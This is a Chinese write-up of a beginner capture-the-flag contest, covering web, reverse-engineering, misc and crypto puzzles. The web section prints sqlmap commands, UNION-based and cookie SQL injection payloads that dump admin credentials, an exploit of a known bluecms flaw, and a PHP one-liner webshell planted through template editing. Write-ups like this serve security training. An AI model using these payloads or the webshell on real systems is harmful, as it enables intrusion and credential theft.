蓝色空间CTF『欢乐赛』Writeup
Web
1. 签到题
利用web扫描工具扫描一下后台,这里使用御剑
发现有/robots.txt
文件,访问一下看看
得到flag:flag:flag-8adc-2230-ekd1
flag{flag-8adc-2230-ekd1}
2. 简单爆破
打开链接,很直白告诉你登录名为:admin
,密码为6位纯数字
打开开发者工具,随便提交一个密码数据上去,看看提交的内容与方式和返回内容
我们可以发现采用post
提交了uname
和pass
两个数据,密码错误时alert
弹出一个”账户密码错误”
编写python脚本爆破:
1 | import re |
得到flag:flag{66b6_77kkqa7}
flag{66b6_77kkqa7}
3. SQL或Web扫描
利用御剑扫描工具扫描到/flag.txt
文件,访问即可
flag_{axdeDaf}
4. SQL2
注入型,先找一下注入点
使用Acunetix
工具扫一下,发现single.php
文件,且存在id
值
放到浏览器地址,看看单引号报错/single.php?id=1'
得到了绝对位置
使用sqlmap
捅一下它屁股
1 | sqlmap -u http://59.63.200.79:8001/single.php?id=1 –dbs –batch |
得到了3个数据库对象
下载查看一下第一个表
1 | sqlmap -u http://59.63.200.79:8001/single.php?id=1 -D cake -T user –dump –batch |
呃,flag直接出来了”flag{flag-8adc-6513-e54az}”
flag{flag-8adc-6513-e54az}
5. 简单代码审计
点击进去发现是一段php
代码,我们对其理解一下:
1 |
|
cyan checked 理论存在,实践开始
这里使用了HackBar
插件进行传参,随便传入一个name和password试试:
其中输出了’Invalid password.’与加密后的两段参数的值。我们需要让name与password加密后相等,想个极端的值。但是直接传参会被转str加密。我们尝试让它为空值。利用数组,使其解密后均为空。
1 | http://web.t.ctf.wgpsec.org/sha/?name[]=1&password[]=2 |
flag{5afeca4cc117d368380a059e8c971d97}
6. (猫舍)SQL注入
其中只有一个可点击位置,点击发现有id传入?id=1
,尝试用'
试试报错信息。但是显示异常,尝试修改id,其中123
有内容。
不管了,试试sqlmap捅屁股。
1 | sqlmap -u http://rhiq8003.ia.aqlab.cn/?id=1 -dbs -batch |
出现4个库
打开maoshe
库,看看里面的表
1 | sqlmap -u http://rhiq8003.ia.aqlab.cn/?id=1 -D maoshe -tables -batch |
出现4个表
先看看admin
表
1 | sqlmap -u http://rhiq8003.ia.aqlab.cn/?id=1 -D maoshe -T admin -dump -batch |
en….我们先忽略一下广告。题目提示falg即为hellohack
。成功。
flag{hellohack}
点击网页唯一一个可点击位置,发现url
有传入参数id
值,结合题目sql
注入对注入点进行尝试
- http://59.63.200.79:8003/?id=1 and 1=1
显示正常
- http://59.63.200.79:8003/?id=1 and 1=2
显示异常
利用order by
语句进行字段探测
- http://59.63.200.79:8003/?id=1 and 1=1 order by 1
正常
- http://59.63.200.79:8003/?id=1 and 1=1 order by 2
正常
- http://59.63.200.79:8003/?id=1 and 1=1 order by 3
异常
即只有两个字段
利用select
语句检测两个字段的显示
由于1=1
时会显示正常内容,所以我们让他报错采用1=2
可以看到字段2被显示出来了
我们利用第二个字段对数据库进行查询操作
查数据库:?id=1 and 1=2 union select 1,database()
查库中所有表(利用information_schema
基础表):
1 | ?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1 |
- limit 0,1的意思是从0开始,查询第1个数据
我们只需要admin所以其他的表我们就不查了
查询数据表中的所有数据:
表中第一个字段:?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=’admin’ limit 0,1
表中第二个字段: ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=’admin’ limit 1,1
表中第三个字段: ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=’admin’ limit 2,1
查询limit 3,1无显示说明只有三个字段
表名知道了,字段名知道了,这里直接使用select语句查询:
用户名:
?id=1 and 1=2 union select 1,username from admin limit 0,1
密码:
?id=1 and 1=2 union select 1,password from admin limit 0,1
根据题目提示账户密码就是flag,hellohack
flag{hellohack}
7. 尝试找到你的小姐姐吧!
打开之后只有一张小姐姐照片和一段话,提示我们时间戳
作为验证码。
这种题先看看
打开robots.txt
得到一个目录:/readme_hahah.txt
进去看看
en…得到了一个默认用户名与密码,还有一个,哦不,半个链接。
还有一段加密文本
Hint{4WIKZ2FPWTS3BD7FU6IOLJ4Q46C2PZ4JQ7UYPDHJTWRONHEJ4WS33ZFYTTUKLP7PXSGONHEJ42ZKDZU4RHUK7FPIX6D6RLVQ4S5IXZU4VTTITE7FXSAOLENC566J6===}
丢到一键解码去看看
下载去看看,在最后发现一段话:
得到完整后台地址:http://web.t.ctf.wgpsec.org/notjustweb/7b6ca699/login.html
打开,看见了登录地址。我们已知默认账户与密码,题目很直白得告诉了时间戳作为验证码。开始爆破:
py大法:
1 | import re |
得到flag:flag{9472B3B73531545428F2599A9E4E30C3}
flag{9472B3B73531545428F2599A9E4E30C3}
8. 简单的Cookie注入
原理和sql
注入是一样的,我们先找注入点
打开网页发现只有新闻,我们随便挑选一个新闻点击进去发现存在id
值
利用单引号报错,发现被拦截
结合题目我们将注入放到cookie
,将id
提到cookie
再用单引号报错,就不会被拦截
使用之前的sql
语句进行注入
- http://59.63.200.79:8004/shownews.asp?id=171 order by 10 正常
- http://59.63.200.79:8004/shownews.asp?id=171 order by 11 异常
说明有10个字段
我们利用cookie
注入查看哪些可以回显(正常显示)我们猜测存在admin
这个表
1 | cookie:id=171+union+select+1,2,3,4,5,6,7,8,9,10+from+admin |
发现存在admin
表,且返回的字段只有第二第三字段
1 | document.cookie="id="+escape("171 union select 1,username,password,4,5,6,7,8,9,10 from admin") |
获取用户名及密码,由于密码采用的是md5
解密,我们拿去解密即可得到用户名及密码。Md5解密网站
密码:b9a2a2b5dffb918c
解密之后是:
有了用户密码我们尝试登陆网站后台,试一下直接admin
:
或者利用御剑扫描器扫描目录
利用账号密码登陆后台即可获得flag
zkz{welcome-control}
9. SQL注入-难度提升
打开页面发现是bluecms
,根据题目提示是sql注入所以我们百度bluecms的sql注入
发现ad_js.php
文件存在注入,参数为ad_id=
可以利用sqlmap
工具直接得到flag,为方便理解,这里仍然采用手注
利用order by
语句判断字段数量,当ad_id=1 order by 8
时出现错误,说明字段有7个
发现只有第7个字段有回显
利用第7个字段查询数据库名
1 | ad_id=1 union select 1,2,3,4,5,6,database() |
1 | ad_id=1 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database() |
查询所有表名,再源码中查看
查询blue_admin所有的字段名
1 | ad_id=1 +UNION +SELECT+1,2,3,4,5,6,GROUP_CONCAT(column_name) from information_schema.columns where table_name=blue_admin |
发现报错,我们对表名进行16进制编码
- Blue_admin=0x626c75655f61646d696e
返回了表的字段名
1 | ad_id=1+UNION+SELECT+1,2,3,4,5,6,GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin |
利用sql语句读取用户名和密码
对密码进行md5解密
密码为123abcufo
登陆后台
利用[模板管理
]可对网站源代码进行修改
抓包修改编辑网页文件
插入一句话木马@eval($_POST['shell']);
拿到服务器权限,然后翻找服务器上的flag,最终在C盘找到flag.txt
zkz{F3ck_power_3y3stem}
10. 最强大脑
根据题目意思就计算结果之后提交,作答正确多次后获得flag
多次,圈起来,要考。
要求请输入一个位数大于21的数
根据21位这样算肯定有问题,我们利用0填充到21位
- 0000000000000000000001
手输肯定来不及,python利用POST也有问题
尝试Python+Selenium
1 | import random |
利用input做一个短暂的暂停,避免出现卡顿导致程序错误
随便输入数值即可
flag{C9A8BF0E9732776714284EEF16C34B94}
Reverse
1. 简单的逆向
查看一下,发现该exe
为32位
执行程序
使用IDA
工具打开
定位主函数main
按下F5
查看伪代码
得到flag
flag{Welcome_to_GeekFZCTF}
2. 简单的逆向2
同样,32位
exe程序,定位到主函数查看伪代码
打开函数
选中数值按下R
连起来即是flag
flag{sAdf_fDfkl_Fdf}
MISC
1. 不会吧?不会吧?你不知道它?
得到题目:
复制下来扔一键解密里看看
- base64解码: 7CCE798E-6920-4626-A8D7-352AE2AC2899
当然也可以用CTF在线工具箱进行base64解码
flag{7CCE798E-6920-4626-A8D7-352AE2AC2899}
2. 哇,这个学废了一定用得到!
下载附件下来,是一个word文档。但是加密了。
利用word密码爆破工具或者在线office密码删除处理一下
密码就在折线图下
flag{9c2965fa13be342b8e70a50410bc76bd}
3. 听说过Audacity吗?
下载附件,是一段MP3文件。
用耳朵听听就知道是摩斯密码,用Audacity
工具打开看看频段,用.和-记录下长短音,空格间隔开,得到
1 | .... .-.. . .. -.-. .. -.-. - ... - .-- --- --- -.-. ..-. . -- -.-. -. .---- |
扔进一键解密,或者在线摩斯密码解码器得到:HLEICICTSTWOOCFEMCN1
提交flag,但是错误。将解出来的HLEICICTSTWOOCFEMCN1再扔进解码器,在栅栏解密分为4栏时,我们似乎发现了有意义的组合:HIWELCOMETOCISCNCTF1
flag{HIWELCOMETOCISCNCTF1}
4. Stegsolve yyds!
下载附件,得到一张图片。题目提示Stegsolve,我们用Stegsolve打开图片看看
多换几个色度通道就发现了flag
flag{L1nux3rr0r}
5. 你知道怎样破坏一个文件吗?
下载附件,提示文件损坏。010编辑器打开看看。发现文件头只剩个9a
,我们补全GIF
的文件头GIF89a
嗯,好了,正常打开。得到flag
flag{2017_love_U}
6. 哦~原来二维码在这里呀
010编辑器打开看看,在ascii
字段发现有一个fl49.xlsx
文件,且有PK
关键词,可以得知在图片中藏了压缩包。
对图片进行分离或者直接将其后缀改为zip
。
打开压缩包,发现加密。查看压缩包全局方式位,不是伪加密。(详见文章:压缩包真伪加密)
使用Ziperello
工具爆破处理。
得到密码,解压查看fl49.xlsx
。
观察一下,发现其中有价值的信息为1与空白单元格组成的二维表,共有6个工作表,每个表刚好4列24行。
6个表即可组成24*24的一个二维表。将其按月份拼在一起,对有值的单元格涂黑,空值为白。单元格处理为正方形,可得到二维码:
二维码识别得到:zfua{B3s1o9in1Nw0halUnofuNc0HM1}
似乎不对,我们对其再解码。这是段凯撒解密,解密得:flag{H3y1u9ot1Tc0ngrAtulaTi0NS1}
flag{H3y1u9ot1Tc0ngrAtulaTi0NS1}
7. 可恶的黑客
下载附件,是一段流量分析。wireshark
往里放
我们对流量进行过滤一下,查看post
请求的包
其他包都是在/images/
下,发现有一个异常包
追踪流
发现一串Unicode
编码
1 | f1ag{si11yb0yemmm} |
解码得到:f1ag{si11yb0yemmm},注意格式,将1改为l
flag{si11yb0yemmm}
Crypto
1. 简单的RSA解密
打开附件,得到n
,e
,c
利用风二西的RSA
工具,将值复制到对应的框中
右键分解N
,得到:
p=368751654879714877087975516875168751974879716873087714877516875971487715
q=368751654879714877087975516875168751974879716873087714877516875971487715687518277898523
再右键选择计算私钥得到D
右键计算明文,然后明文转字符
flag{4e9f2a7f-bda9-4a46-af51-b29e0c61973e}
2. Manycode
下载附件,一堆奇奇怪怪的东西
我也不知道是啥,万能的百度告诉我是AAencode
编码。
解码得到:在线解码
- 54464E4C536E744F516C396F6457467A614756755A33303D
这是base16
编码,再解码得到:
- TFNLSntOQl9odWFzaGVuZ30=
这是base64
编码,再解码得到:
- LSKJ{NB_huasheng}
LSKJ{NB_huasheng}
3. CuteCaesar
嗷嗷嗷~
这是啥呢?叫兽编码[滑稽`༼ つ ◕_◕ ༽つ]兽音译者在线
解码得到:LSKJ{linxi_welcome}
LSKJ{linxi_welcome}
~呜嗷呜嗷嗷嗷啊嗷嗷~啊呜~啊~呜呜嗷~呜~呜呜啊嗷啊啊嗷~啊啊~呜啊嗷~嗷~呜嗷啊嗷嗷~呜嗷嗷呜~嗷啊嗷啊啊嗷嗷啊嗷呜嗷呜嗷嗷啊嗷~~嗷嗷啊~呜~啊~啊啊~啊~啊~呜呜嗷啊呜呜~啊呜呜呜呜嗷~啊啊啊